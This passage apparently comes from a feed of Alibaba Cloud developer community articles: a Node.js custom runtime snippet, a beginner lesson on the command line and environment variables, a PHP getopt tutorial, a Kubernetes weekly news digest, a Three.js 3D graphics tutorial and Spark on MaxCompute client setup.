        
              res.send(hash);
        
              console.log(`FC Invoke End RequestId: ${rid}`);
        });
        
        var port = process.env.FC_SERVER_PORT || 9000
        
        app.listen(port, function () {
              console.log("FunctionCompute custom-nodejs runtime inited.");
        });
        
        app.timeout = 0; // never timeout
        app.keepAliveTimeout = 0; // keepalive, never timeout

        本地安装第三方包 express

        然后编写一个具有可执行权限的名字为bootstrap (注:#!/bin/bash注释是必需的)文件启动上面代码的 http server:

        #!/bin/bash
        node server.js

        php

        基于custom runtime + nginx + php-fpm 运行 wordpress
        customruntime-php

        ]]>
        大数据时代首选编程语言Python入门前准备之一:计算机是什么-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 第一章 计算机基础

        1.1计算机是什么

        在现实生活中,越来越无法离开计算机了。台式机、笔记本电脑、手机、游戏机、汽车导航、智能电视等等。。。这些都是生活中经常接触到的计算机,而且对我们的生活越来越重要。
        一句话总结一下:计算机就是一个用来计算的机器!
        目前来讲,计算机只能根据人类的指令来完成各种操作。所以我们学习计算机,就是学习如何控制计算机!

        1.2计算机的组成

        计算机由两部分组成:硬件和软件。
        硬件就是我们看得见摸得着的设备,它包含外部设备和内部设备,例如键盘、鼠标、显示器、CPU、主板、内存、硬盘等,就像人的器官,但是一个人只有器官就可以存活吗,显然是不能的。
        软件是看得见摸不着的,负责控制计算机的硬件;它包含系统软件和应用软件两种类型,就比如windows、macOS、Linux就是系统软件,office、钉钉、绝地求生等这些统称为应用软件。

        1.3计算机的使用方式

        软件驱动硬件的运行。我们必须通过软件来对计算机完成各种操作,但是注意,软件中并不是所有的功能都会对用户开放,所以用户需要调用软件的接口(internet或者是交互界面)来操作计算机。
        用户界面分成两种:TUI(文本交互界面)和GUI(图形化交互界面)。我们经常使用的界面就是GUI,比如Android,IOS手机系统这些。TUI的话如果没有学过编程语言,没有见过DOS命令的话一般是没有接触过的。那TUI是长什么样子的呢,接下来通过一些操作来见识一下TUI的真面目,首先按下快捷键win+R打开运行窗口,输入cmd,按下回车键,你看到的这个界面就是文本交互界面,如下图所示。
        image.png
        输入一个dir就会显示当前目录,如下图所示,默认显示是C盘的目录文件:
        image.png
        如果输入cd desktop就会显示桌面的目录,如下图:
        image.png
        如图就看到了桌面上的目录文件,这些指令在后面都会讲到,所以不清楚的同学也不要着急。
        TUI和GUI都是用来实现计算机操作的,不同的是GUI更为用户所熟悉,只需要通过鼠标点击等简单行为就可以实现对计算机进行操作,而TUI需要通过一定的指令才可以,但是TUI的文档指令是直接操作计算机的,所以在响应速度上要比GUI更快一些。
        对于软件的使用者来说只需要掌握GUI的使用方法就可以快捷操作计算机,但是对于Python的开发者来说TUI的操作方法是必须要掌握的,尤其是对于以后在很多情况下Python要部署到Linux上,而Linux系统就是通过TUI实现人机交互的,所以文档指令是开发者必不可少的技能。

        1.4Windows的命令行

        命令行就是上文所说的文本交互界面,通过命令行可以使用一个一个的指令来操作计算机。
        任何的计算机的操作系统中都包含有命令行,比如:windows、linux、macOS等,因为命令行是计算机的基本操作方式,即使是鼠标不好用了还是可以通过命令行实现对计算机的操作。
        命令行有多个不同的名字:命令行、命令行窗口、DOS窗口、命令提示符、CMD窗口、Shell、终端、Terminal,但是这些都是指向命令行窗口,就是之前演示的那个小黑框框,但是它们可能有不同的样式。
        练习1:通过搜索引擎来搜索一下,各个操作系统当中的命令行窗口的样式。
        接下来通过几个方面来认识什么是命令行。
        1、如何进入到命令行
        第一个就是上文说过的win键+R出现运行窗口,输入cmd,然后回车,就可以调出了
        image.png
        2.命令行的结构
        image.png
        版本及版权声明(一般没有什么用)
        Microsoft Windows [版本 10.0.16299.431]
        (c) 2017 Microsoft Corporation。保留所有权利。

        • 命令提示符
          C:Users用户名>
        • C: **
          当前所在的磁盘根目录

        可以通过 x: 来切换盘符(x表示你的盘符)

        • Users用户名
          所在磁盘的路径,当前所在的文件夹

        cd 来切换目录

        • 命令提示符,在大于号后边可以直接输入指令

        练习2:尝试使用多种方式进入到你的系统的命令行,并且观察你的和我的有什么区别?
        3.常用的dos命令

        • dir 查看当前目录下的所有文件(夹)
        • cd 进入到指定的目录
        • . 表示当前目录
        • .. 表示上一级目录
        • md 创建一个目录(创建文件夹)
        • rd 删除一个目录(删除文件夹)
        • del 删除一个文件
        • cls 清除屏幕

        这里还有一些小技巧,也传授给大家:

        • 方向键上下,查看命令的历史记录
        • tab键自动补全命令

        命令的语法:
        命令 [参数] [选项]
        参数和选项都是可选的,选项一般是/开头;
        练习3:通过搜索引擎搜索一下其他的一些常用DOS命令,并尝试使用一些命令的选项

        1.6环境变量

        对于学习者来说,看到一个新的名字首先应该来看一下这个名字本身的含义是什么,有助于以后在使用的时候更加快速的理解场景。
        那么什么是“环境变量”呢?变量我们知道,像“x=1”、“y=1”这些都属于变量,那么环境呢,在这里就是指我们的操作系统。所以环境变量就是指:操作系统当中的一些变量。
        每个人对于计算机的操作习惯都是不同的,但是操作系统不可能为每个人配置一套不同的系统,那么怎么解决这个问题呢?其实操作系统里面有内置不同的变量来承接不同用户的使用需求。比如:有的人想把文件存放到C盘,有的人想存D盘,有的人想存到E盘,这时候操作系统就会调用系统的x变量来获取用户的习惯信息,你让这个x=C,那文件就到了C盘,你让x=D,那文件就到了D盘...以此类推,这样就可以通过修改环境变量,来对计算机进行配置(主要是来配置一些路径的)。
        下面介绍一些环境变量的使用过程:
        1.查看环境变量

        右键 计算机(此电脑),选择属性
        系统界面左侧选择 高级系统设置
        选择环境变量

        环境变量界面分成了两个部分,上边是用户环境变量,下边是系统环境变量,系统环境变量可以修改整个系统,用户环境变量只对个人起作用。
        建议只修改用户的环境变量,不要修改系统的环境变量
        image.png
        image.png

        2.添加环境变量

        通过“新建”按钮添加环境变量
        一个环境变量可以有多个值,值与值之间使用;(英文)隔开

        image.png
        image.png

        3.修改环境变量

        通过“编辑”按钮来修改环境变量

        image.png

        4.删除环境变量

        通过“删除”按钮来删除环境变量

        image.png

        练习4:进入到环境变量的界面,创建一个USERNAME环境变量,修改USERNAME环境变量,并尝试添加多个值,然后删除USERNAME环境变量。

        1.7path环境变量

        环境变量里面有一个常用的变量:path,这节课带大家来认识一下。
        正常打开文件的逻辑是要先运行cmd打开命令提示窗,再一步步的去打开文件;如果输入错误,就打不开文件了。
        image.png
        image.png
        image.png
        显然这有点麻烦,那么我们有什么办法可以使得文件在任意位置就可以打开呢,本小节带你用path环境变量实现这个想法。
        path环境变量中保存的是一个一个的路径。
        当我们在命令行中输入一个命令(或访问一个文件时),系统会首先在当前目录下寻找,如果找到了则直接执行或打开,如果没有找到,则会依次去path环境变量的路径中去寻找,直到找到为止。如果path环境变量中的路径都没有找到,则报错:'xxx' 不是内部或外部命令,也不是可运行的程序或批处理文件。
        我们可以将一些经常需要访问到的文件会程序的路径,添加到path环境变量中,这样我们就可以在任意的位置访问到这些文件了。
        image.png
        image.png
        image.png
        注意:修改完path之后需要重启命令行窗口才可以。如下图就可以直接打开了。
        image.png
        注意事项:
        1.如果环境变量中没有path,可以手动添加
        2.path环境变量不区分大小写 PATH Path path
        3.修改完环境变量必须重新启动命令行窗口
        4.多个路径之间使用;隔开
        练习5:在桌面创建一个hello文件夹,文件中创建一个abc.txt输入随意的内容,然后将hello的路径添加到path环境变量中,尝试在任意位置访问abc.txt。最后将hello路径从path环境变量中删除。
        python入门前准备:计算机基础之二

        视频学习:阿里云大学之Python进阶

        配套Python进阶文章点击此处获取

        ]]>
        PHP 中通过 getopt 解析 GNU C 风格命令行选项-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 在 PHP 中,当我们在获取命令行参数时,可以通过遍历$argv来获取,其实呢是有规范可循的,也就是 GNU C-style parser for command line options 。

        比如使用命令wget下载文件时,使用下面的一些方式来指定option都可以

        wget http://mengkang.net/a.jpg -O b.jpg
        wget http://mengkang.net/a.jpg -Ob.jpg --tries=3 -b
        wget http://mengkang.net/a.jpg -Ob.jpg --tries=3 -bvd

        我们整理下command line options的规则,首先参数分为短参数名和完整参数名,而且一些还有映射关系。比如我们使用wget时,-O对应--output-document

        总结 options 使用规范

        • 短选项名,有一个限制,只能是一个char字符,只能1字节,不能超过1字节,比如上面的第四个命令的最后一个参数就不知道是一个选项还是三个选项了。
        • 短选项名用单个连字符(-)开始
        • 短选项可以一个-后面跟多个选项名
        • 长选项和短选项可以有映射关系,也可以没有
        • 长选项名,则是多字节的的,两个连字符(--)开始
        • 选项与实参之间,可以直接连接,也可以用空格隔开,还可以用等号连接
        • 但是短选项用等号连接值,等号会被视为值的一部分(但是在 php 里面却又兼容了这一点)
        • 选项分为没有值,必须传值,可选传值(也就是可传可不传)

        在 PHP 中的使用

        getopt ( string $options [, array $longopts [, int &$optind ]] ) : array

        https://www.php.net/manual/zh/function.getopt.php
        $options 短参数字符列表,参数字符后面用:标识必须传值;参数字符后面用::标识可选传值;只有参数字符表示该参数(或者说选项)不接受传值
        $longopts 长参数由于是多字节,所以必须是数组,否则没法分隔。长参数同样遵循上面:::规则

        php里面缺少结构体的支撑,相比c的长选项的配置更加简洁,但也缺少了长短选项的映射关系配置。

        $shortOpts = "O:Vv::dh";
        $longOpts = ["output-document:","version","verbose::", "debug", "help"]; 
        $options = getopt($shortOpts, $longOpts);
        
        var_export($options);
        php getopt.php -Oa.jpg 
        array (
          'O' => 'a.jpg',
        )
        php getopt.php -O=a.jpg
        array (
          'O' => 'a.jpg',
        )
        php getopt.php -O a.jpg                                 
        array (
          'O' => 'a.jpg',
        )
        php getopt.php -O=a.jpg -dhV
        array (
          'O' => 'a.jpg',
          'd' => false,
          'h' => false,
          'V' => false,
        )
        php getopt.php -O=a.jpg -dhV -vvv
        array (
          'O' => 'a.jpg',
          'd' => false,
          'h' => false,
          'V' => false,
          'v' => 'vv',
        )

        上面例子中我的短参数和长参数是对应的,但是没有数据结构来表示他们的对应关系(在C里面有option结构体来做这个对应关系的管理),所以我们两个都传的话,程序两个值会收到,然后我们自己判断短参数和长参数使用哪个。

        php getopt.php -O=a.jpg -dhV -vvv --output-document b.jpg --debug
        array (
          'O' => 'a.jpg',
          'd' => false,
          'h' => false,
          'V' => false,
          'v' => 'vv',
          'output-document' => 'b.jpg',
          'debug' => false,
        )

        这样写是不规范的,尽量避免这样的写法。

        php getopt.php -O=a.jpg -dhVvvv  
        array (
          'O' => 'a.jpg',
          'd' => false,
          'h' => false,
          'V' => false,
          'v' => 'vv',
        )
        php getopt.php -O=a.jpg -dhvvvV
        array (
          'O' => 'a.jpg',
          'd' => false,
          'h' => false,
          'v' => 'vvV',
        )

        总结了这个GNU C command line options 使用的套路,命令使用起来就更溜了,不会懵逼为什么linux下各种工具使用的案例写法“千奇百怪”了。

        在C里面并不支持短选项用等号连接,在PHP里却是可以的,需要注意。

        ]]>
        KubeCon 2019 北美会议完美落幕 | 云原生生态周报 Vol. 29-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者|陈俊、张晓宇、徐迪

        业界要闻

        1.KubeCon 2019 北美会议召开

        业界最隆重的盛会 KubeCon+CloudNativeCon 今年在圣地亚哥举办,超过 12000 名参会者以及 100 多个云原生供应商出席了这次大会。本次大会中阿里巴巴经济体共有 8 个 Topic 亮相。

        上游重要进展

        1.Kubernetes 拟加入对 Cgroup v2 的支持

        Kubernetes 的 Kubelet 和 Scheduler 拟加入对 Cgroup v2 的支持。 Cgroup v2 的一个大的特性是可以用非 root 用户操作做资源限制。该 KEP 的实现和下文的 《使用非 root 权限模式运行 Kubernetes 组件》KEP 息息相关。

        2.使用非 root 权限模式运行 Kubernetes 组件

        目前有众多的厂商尝试使用非 root 的模式去运行 kubelet 组件和 CRI/OCI/CNI,但是因为一些接口需要使用 root 的权限不能实现。此 KEP 着重去改善 kubelet、kube-proxy 对于这方面的限制,同时 CRI/OCI/CNI 也有相关的工作去推进可以使用非 root 模式运行。

        3.提供 Immutable 模式的 ConfigMap/Secret(s)

        建议使用 Immutable 的 ConfigMap/Secret 有两个原因:

        • 一是 Pod 使用 ConfigMap/Secret 的模式一般是通过 Volume Mounts 的方式,而 Kubelet 会通过 Watch/Poll 的方式去获取 ConfigMap/Secret 更新,同时同步更新到 Pod 的挂载文件,这种 Pod 能够快速、无感地获取到 ConfigMap/Secret 更新。但这种更新是一把双刃剑,一次错误的更新 ConfigMap/Secret 可能会导致 Pod 加载错误配置从而导致所有 Pod 异常。我们更推荐使用 Rolling Update 的方式,创建一个新的 ConfigMap/Secret 同时创建新的 Pod 去引用新的 ConfigMap/Secret。
        • 第二个是在大规模集群内,Kubelet 过多的 Watch/Poll 大量的 ConfigMap/Secret 会给 API Server 造成巨大的压力(尽管我们在这个 PR 中为每个 Watch 请求降低了一个 Goruntine 的消耗)。 而使用了 Immutable 的 ConfigMap/Secret,Kubelet 就不会为他们建立 Watch/Poll 请求。

        开源项目推荐

        1.cert-manager

        使用 CRD 的模式在 Kubernetes 集群内管理证书的签发和 CA Issuer。cert-manager 的一个较大的优势是支持 Kubernetes 集群内多 Issuer 的存在。

        2.extended-daemonset

        相比 Kubernetes 的 Daemonset,它提供了金丝雀发布以及更加丰富的升级策略。

        3.watermarkpodautoscaler(WPA)

        基于水位线算法的 Pod AutoScaler,相比 HPA,它提供更加丰富的算法、同时能控制 Scale 的速率和策略。

        本周阅读推荐

        1.《混合云关键技术能力和发展趋势》

        单一的公有云、私有云提供了很强的计算能力,计算所需要的数据则由边缘云搜集并传输到公有云、私有云。将边缘云、公有云、私有云,无论是管理面还是数据层面打通,是未来混合云发展的趋势。

        2.《K8s v1.17 新特性:拓扑感知服务路由》

        拓扑感知服务路由可以实现 Service 就近转发,减少网络延时,进一步提升 K8s 的网络性能,此特性将于 K8s v1.17 发布 Alpha,时间是 12 月上旬,让我们一起期待吧!

        3.《Debugging network stalls on Kubernetes》

        Kubernetes 已经成为 Github 管理资源和应用的平台,而 Github 的 Kubernetes 随着集群规模的增大,也遇到了头疼的 Service 的网络问题。该文 Github 为我们很好的提供了当集群内的 Service “网络不可用”时,我们该如何调试和找到问题根源。

        4.《4 个概念,1 个动作,让应用管理变得更简单》

        随着以 K8s 为主的云原生基础架构遍地生根,越来越多的团队开始基于 K8s 搭建持续部署、自助式发布体验的应用管理平台。然而,在 K8s 交付和管理应用方面,目前还缺乏一个统一的标准,这最终促使我们与微软联合推出了首个云原生应用标准定义与架构模型 - OAM。本文作者将从基本概念以及各个模块的封装设计与用法等角度出发来详细解读 OAM。

        5.《从微服务跨越到中台,架构领域年度盘点!》 

        2019 年,整个 IT 领域发生了许多深刻而又复杂的变化,本文作者希望能够根据本篇文章给读者清晰地梳理出架构领域技术这一年的发展变化,回顾过去,继续前行。

        “阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        Three.js - 走进3D的奇妙世界-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 摘要:本文将通过Three.js的介绍及示例带我们走进3D的奇妙世界。

        文章来源:宜信技术学院 & 宜信支付结算团队技术分享第6期-支付结算部支付研发团队前端研发高级工程师-刘琳《three.js - 走进3D的奇妙世界》

        分享者:宜信支付结算部支付研发团队前端研发高级工程师-刘琳

        原文首发于支付结算团队公号-“野指针”

        随着人们对用户体验越来越重视,Web开发已经不满足于2D效果的实现,而把目标放到了更加炫酷的3D效果上。Three.js是用于实现web端3D效果的JS库,它的出现让3D应用开发更简单,本文将通过Three.js的介绍及示例带我们走进3D的奇妙世界。

        一、Three.js相关概念

        1.1 Three.JS

        Three.JS是基于WebGL的Javascript开源框架,简言之,就是能够实现3D效果的JS库。

        1.2 WebGL

        WebGL是一种Javascript的3D图形接口,把JavaScript和OpenGL ES 2.0结合在一起。

        1.3 OpenGL

        OpenGL是开放式图形标准,跨编程语言、跨平台,Javascript、Java 、C、C++ 、 python 等都能支持OpenG ,OpenGL的Javascript实现就是WebGL,另外很多CAD制图软件都采用这种标准。OpenGL ES 2.0是OpenGL的子集,针对手机、游戏主机等嵌入式设备而设计。

        1.4 Canvas

        Canvas是HTML5的画布元素,在使用Canvas时,需要用到Canvas的上下文,可以用2D上下文绘制二维的图像,也可以使用3D上下文绘制三维的图像,其中3D上下文就是指WebGL。

        二、Three.js应用场景

        利用Three.JS可以制作出很多酷炫的3D动画,并且Three.js还可以通过鼠标、键盘、拖拽等事件形成交互,在页面上增加一些3D动画和3D交互可以产生更好的用户体验。

        通过Three.JS可以实现全景视图,这些全景视图应用在房产、家装行业能够带来更直观的视觉体验。在电商行业利用Three.JS可以实现产品的3D效果,这样用户就可以360度全方位地观察商品了,给用户带来更好的购物体验。另外,使用Three.JS还可以制作类似微信跳一跳那样的小游戏。随着技术的发展、基础网络的建设,web3D技术还能得到更广泛的应用。

        三、主要组件

        在Three.js中,有了场景(scene)、相机(camera)和渲染器(renderer) 这3个组建才能将物体渲染到网页中去。

        1)场景

        场景是一个容器,可以看做摄影的房间,在房间中可以布置背景、摆放拍摄的物品、添加灯光设备等。

        2)相机

        相机是用来拍摄的工具,通过控制相机的位置和方向可以获取不同角度的图像。

        3)渲染器

        渲染器利用场景和相机进行渲染,渲染过程好比摄影师拍摄图像,如果只渲染一次就是静态的图像,如果连续渲染就能得到动态的画面。在JS中可以使用requestAnimationFrame实现高效的连续渲染。

        3.1 常用相机

        1)透视相机

        透视相机模拟的效果与人眼看到的景象最接近,在3D场景中也使用得最普遍,这种相机最大的特点就是近大远小,同样大小的物体离相机近的在画面上显得大,离相机远的物体在画面上显得小。透视相机的视锥体如上图左侧所示,从近端面到远端面构成的区域内的物体才能显示在图像上。

        透视相机构造器

        PerspectiveCamera( fov : Number, aspect : Number, near : Number, far : Number )

        • fov — 摄像机视锥体垂直视野角度
        • aspect — 摄像机视锥体长宽比
        • near — 摄像机视锥体近端面
        • far — 摄像机视锥体远端面

        2)正交相机

        使用正交相机时无论物体距离相机远或者近,在最终渲染的图片中物体的大小都保持不变。正交相机的视锥体如上图右侧所示,和透视相机一样,从近端面到远端面构成的区域内的物体才能显示在图像上。

        正交相机构造器

        OrthographicCamera( left : Number, right : Number, top : Number, bottom : Number, near : Number, far : Number )

        • left — 摄像机视锥体左侧面
        • right — 摄像机视锥体右侧面
        • top — 摄像机视锥体上侧面
        • bottom — 摄像机视锥体下侧面
        • near — 摄像机视锥体近端面
        • far — 摄像机视锥体远端面

        3.2 坐标系

        在场景中,可以放物品、相机、灯光,这些东西放置到什么位置就需要使用坐标系。Three.JS使用右手坐标系,这源于OpenGL默认情况下,也是右手坐标系。从初中、高中到大学的课堂上,教材中所涉及的几何基本都是右手坐标系。

        上图右侧就是右手坐标系,五指并拢手指放平,指尖指向x轴的正方向,然后把四个手指垂直弯曲大拇指分开,并拢的四指指向y轴的正方向,大拇指指向的就是Z轴的正方向。

        在Three.JS中提供了坐标轴工具(THREE.AxesHelper),在场景中添加坐标轴后,画面会出现3条垂直相交的直线,红色表示x轴,绿色表示y轴,蓝色表示z轴(如下图所示)。

        3.3 示例代码

        /* 场景 */
        var scene = new THREE.Scene();
        scene.add(new THREE.AxesHelper(10)); // 添加坐标轴辅助线
        
        /* 几何体 */
        // 这是自定义的创建几何体方法,如果创建几何体后续会介绍
        var kleinGeom = createKleinGeom(); 
        scene.add(kleinGeom); // 场景中添加几何体
        
        /* 相机 */
        var camera = new THREE.PerspectiveCamera(45, width/height, 1, 100);
        camera.position.set(5,10,25); // 设置相机的位置
        camera.lookAt(new THREE.Vector3(0, 0, 0)); // 相机看向原点
        
        /* 渲染器 */
        var renderer = new THREE.WebGLRenderer({antialias:true});
        renderer.setSize(width, height);
        // 将canvas元素添加到body
        document.body.appendChild(renderer.domElement);
        // 进行渲染
        renderer.render(scene, camera);

        四、几何体

        计算机内的3D世界是由点组成,两个点能够组成一条直线,三个不在一条直线上的点就能够组成一个三角形面,无数三角形面就能够组成各种形状的几何体。

        以创建一个简单的立方体为例,创建简单的立方体需要添加8个顶点和12个三角形的面,创建顶点时需要指定顶点在坐标系中的位置,添加面的时候需要指定构成面的三个顶点的序号,第一个添加的顶点序号为0,第二个添加的顶点序号为1…

        创建立方体的代码如下:

        var geometry = new THREE.Geometry();
        
        // 添加8个顶点
        geometry.vertices.push(new THREE.Vector3(1, 1, 1));
        geometry.vertices.push(new THREE.Vector3(1, 1, -1));
        geometry.vertices.push(new THREE.Vector3(1, -1, 1));
        geometry.vertices.push(new THREE.Vector3(1, -1, -1));
        geometry.vertices.push(new THREE.Vector3(-1, 1, -1));
        geometry.vertices.push(new THREE.Vector3(-1, 1, 1));
        geometry.vertices.push(new THREE.Vector3(-1, -1, -1));
        geometry.vertices.push(new THREE.Vector3(-1, -1, 1));
        
        // 添加12个三角形的面
        geometry.faces.push(new THREE.Face3(0, 2, 1));
        geometry.faces.push(new THREE.Face3(2, 3, 1));
        geometry.faces.push(new THREE.Face3(4, 6, 5));
        geometry.faces.push(new THREE.Face3(6, 7, 5));
        geometry.faces.push(new THREE.Face3(4, 5, 1));
        geometry.faces.push(new THREE.Face3(5, 0, 1));
        geometry.faces.push(new THREE.Face3(7, 6, 2));
        geometry.faces.push(new THREE.Face3(6, 3, 2));
        geometry.faces.push(new THREE.Face3(5, 7, 0));
        geometry.faces.push(new THREE.Face3(7, 2, 0));
        geometry.faces.push(new THREE.Face3(1, 3, 4));
        geometry.faces.push(new THREE.Face3(3, 6, 4));

        4.1 正面和反面

        创建几何体的三角形面时,指定了构成面的三个顶点,如: new THREE.Face3(0, 2, 1),如果把顶点的顺序改成0,1,2会有区别吗?

        通过下图可以看到,按照0,2,1添加顶点是顺时针方向的,而按0,1,2添加顶点则是逆时针方向的,通过添加顶点的方向就可以判断当前看到的面是正面还是反面,如果顶点是逆时针方向添加,当前看到的面是正面,如果顶点是顺时针方向添加,则当前面为反面。

        下图所看到的面就是反面。如果不好记,可以使用右手沿顶点添加的方向握住,大拇指所在的面就是正面,很像我们上学时学的电磁感应定律。

        五、材质

        创建几何体时通过指定几何体的顶点和三角形的面确定了几何体的形状,另外还需要给几何体添加皮肤才能实现物体的效果,材质就像物体的皮肤,决定了物体的质感。常见的材质有如下几种:

        • 基础材质:以简单着色方式来绘制几何体的材质,不受光照影响。
        • 深度材质:按深度绘制几何体的材质。深度基于相机远近端面,离近端面越近就越白,离远端面越近就越黑。
        • 法向量材质:把法向量映射到RGB颜色的材质。
        • Lambert材质:是一种需要光源的材质,非光泽表面的材质,没有镜面高光,适用于石膏等表面粗糙的物体。
        • Phong材质:也是一种需要光源的材质,具有镜面高光的光泽表面的材质,适用于金属、漆面等反光的物体。
        • 材质捕获:使用存储了光照和反射等信息的贴图,然后利用法线方向进行采样。优点是可以用很低的消耗来实现很多特殊风格的效果;缺点是仅对于固定相机视角的情况较好。

        下图是使用不同贴图实现的效果:

        六、光源

        前面提到的光敏材质(Lambert材质和Phong材质)需要使用光源来渲染出3D效果,在使用时需要将创建的光源添加到场景中,否则无法产生光照效果。下面介绍一下常用的光源及特点。

        6.1 点光源

        点光源类似蜡烛放出的光,不同的是蜡烛有底座,点光源没有底座,可以把点光源想象成悬浮在空中的火苗,点光源放出的光线来自同一点,且方向辐射向四面八方,点光源在传播过程中有衰弱,如下图所示,点光源在接近地面的位置,物体底部离点光源近,物体顶部离光源远,照到物体顶部的光就弱些,所以顶部会比底部暗些。

        6.2 平行光

        平行光模拟的是太阳光,光源发出的所有光线都是相互平行的,平行光没有衰减,被平行光照亮的整个区域接受到的光强是一样的。

        6.3 聚光灯

        类似舞台上的聚光灯效果,光源的光线从一个锥体中射出,在被照射的物体上产生聚光的效果。聚光灯在传播过程也是有衰弱的。

        6.4 环境光

        环境光是经过多次反射而来的光,环境光源放出的光线被认为来自任何方向,物体无论法向量如何,都将表现为同样的明暗程度。

        环境光通常不会单独使用,通过使用多种光源能够实现更真实的光效,下图是将环境光与点光源混合后实现的效果,物体的背光面不像点光源那样是黑色的,而是呈现出深褐色,更自然。

        七、纹理

        在生活中纯色的物体还是比较少的,更多的是有凹凸不平的纹路或图案的物体,要用Three.JS实现这些物体的效果,就需要使用到纹理贴图。3D世界的纹理是由图片组成的,将纹理添加在材质上以一定的规则映射到几何体上,几何体就有了带纹理的皮肤。

        7.1 普通纹理贴图

        在这个示例中使用上图左侧的地球纹理,在球形几何体上进行贴图就能制作出一个地球。

        代码如下:

        /* 创建地球 */
        function createGeom() {
            // 球体
            var geom = new THREE.SphereGeometry(1, 64, 64);
            // 纹理
            var loader = new THREE.TextureLoader();
            var texture = loader.load('./earth.jpg');
            // 材质
            var material = new THREE.MeshLambertMaterial({
                map: texture
            });
            var earth = new THREE.Mesh(geom, material);
            return earth;
        }

        7.2 反面贴图实现全景视图

        这个例子是通过在球形几何体的反面进行纹理贴图实现的全景视图,实现原理是这样的:创建一个球体构成一个球形的空间,把相机放在球体的中心,相机就像在一个球形的房间中,在球体的里面(也就是反面)贴上图片,通过改变相机拍摄的方向,就能看到全景视图了。

        材质默认是在几何体的正面进行贴图的,如果想要在反面贴图,需要在创建材质的时候设置side参数的值为THREE.BackSide,代码如下:

        /* 创建反面贴图的球形 */
        // 球体
        var geom = new THREE.SphereGeometry(500, 64, 64);
        // 纹理
        var loader = new THREE.TextureLoader();
        var texture = loader.load('./panorama.jpg');
        // 材质
        var material = new THREE.MeshBasicMaterial({
            map: texture,
            side: THREE.BackSide
        });
        var panorama = new THREE.Mesh(geom, material);

        7.3 凹凸纹理贴图

        凹凸纹理利用黑色和白色值映射到与光照相关的感知深度,不会影响对象的几何形状,只影响光照,用于光敏材质(Lambert材质和Phong材质)。

        如果只用上图左上角的砖墙图片进行贴图的话,就像一张墙纸贴在上面,视觉效果很差,为了增强立体感,可以使用上图左下角的凹凸纹理,给物体增加凹凸不平的效果。

        凹凸纹理贴图使用方式的代码如下:

        // 纹理加载器
        var loader = new THREE.TextureLoader();
        // 纹理
        var texture = loader.load( './stone.jpg');
        // 凹凸纹理
        var bumpTexture = loader.load( './stone-bump.jpg');
        // 材质
        var material =  new THREE.MeshPhongMaterial( {
            map: texture,
            bumpMap: bumpTexture
        } );

        7.4 法线纹理贴图

        法线纹理也是通过影响光照实现凹凸不平视觉效果的,并不会影响物体的几何形状,用于光敏材质(Lambert材质和Phong材质)。上图左下角的法线纹理图片的RGB值会影响每个像素片段的曲面法线,从而改变物体的光照效果。

        使用方式的代码如下:

        // 纹理
        var texture = loader.load( './metal.jpg');
        // 法线纹理
        var normalTexture = loader.load( './metal-normal.jpg');
        var material =  new THREE.MeshPhongMaterial( {
            map: texture,
            normalMap: normalTexture
        } );

        7.5 环境贴图

        环境贴图是将当前环境作为纹理进行贴图,能够模拟镜面的反光效果。在进行环境贴图时需要使用立方相机在当前场景中进行拍摄,从而获得当前环境的纹理。立方相机在拍摄环境纹理时,为避免反光效果的小球出现在环境纹理的画面上,需要将小球设为不可见。

        环境贴图的主要代码如下:

        /* 立方相机 */
        var cubeCamera = new THREE.CubeCamera( 1, 10000, 128 );
        /* 材质 */
        var material = new THREE.MeshBasicMaterial( {
            envMap: cubeCamera.renderTarget.texture
        });
        /* 镜面反光的球体 */
        var geom = new THREE.SphereBufferGeometry( 10, 32, 16 );
        var ball = new THREE.Mesh( geom, material );
        // 将立方相机添加到球体
        ball.add( cubeCamera );
        scene.add( ball );
        
        // 立方相机生成环境纹理前将反光小球隐藏
        ball.visible = false;
        // 更新立方相机,生成环境纹理
        cubeCamera.update( renderer, scene );
        balls.visible = true;
        
        // 渲染
        renderer.render(scene, camera);

        八、加载外部3D模型

        Three.JS已经内置了很多常用的几何体,如:球体、立方体、圆柱体等等,但是在实际使用中往往需要用到一些特殊形状的几何体,这时可以使用3D建模软件制作出3D模型,导出obj、json、gltf等格式的文件,然后再加载到Three.JS渲染出效果。

        上图的椅子是在3D制图软件绘制出来的,chair.mtl是导出的材质文件,chair.obj是导出的几何体文件,使用材质加载器加载材质文件,加载完成后得到材质对象,给几何体加载器设置材质,加载后得到几何体对象,然后再创建场景、光源、摄像机、渲染器等进行渲染,这样就等得到如图的效果。主要的代码如下:

        // .mtl材质文件加载器
        var mtlLoader = new THREE.MTLLoader();
        // .obj几何体文件加载器
        var objLoader = new THREE.OBJLoader();
        
        mtlLoader.load('./chair.mtl', function (materials) {
            objLoader.setMaterials(materials)
                .load('./chair.obj', function (obj) {
                    scene.add(obj);
                    …
                });
        });

        九、说明

        以上内容对Three.JS的基本使用进行了介绍,文中涉及到的示例源码已上传到github,感兴趣的同学可以下载查看,下载地址:https://github.com/liulinsp/three-demo。使用时如果有不清楚的地方可以查看Three.JS的官方文档:https://threejs.org/docs/index.html

        ]]>
        Spark在MaxCompute的运行方式-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 一、Spark系统概述

        image

        左侧是原生Spark的架构图,右边Spark on MaxCompute运行在阿里云自研的Cupid的平台之上,该平台可以原生支持开源社区Yarn所支持的计算框架,如Spark等。

        二、Spark运行在客户端的配置和使用

        2.1打开链接下载客户端到本地

        http://odps-repo.oss-cn-hangzhou.aliyuncs.com/spark/2.3.0-odps0.30.0/spark-2.3.0-odps0.30.0.tar.gz?spm=a2c4g.11186623.2.12.666a4b69yO8Qur&file=spark-2.3.0-odps0.30.0.tar.gz

        2.2将文件上传的ECS上

        image

        2.3将文件解压

        tar -zxvf spark-2.3.0-odps0.30.0.tar.gz
        

        2.4配置Spark-default.conf

        # spark-defaults.conf
        # 一般来说默认的template只需要再填上MaxCompute相关的账号信息就可以使用Spark
        spark.hadoop.odps.project.name =
        spark.hadoop.odps.access.id =
        spark.hadoop.odps.access.key =
        
        # 其他的配置保持自带值一般就可以了
        spark.hadoop.odps.end.point = http://service.cn.maxcompute.aliyun.com/api
        spark.hadoop.odps.runtime.end.point = http://service.cn.maxcompute.aliyun-inc.com/api
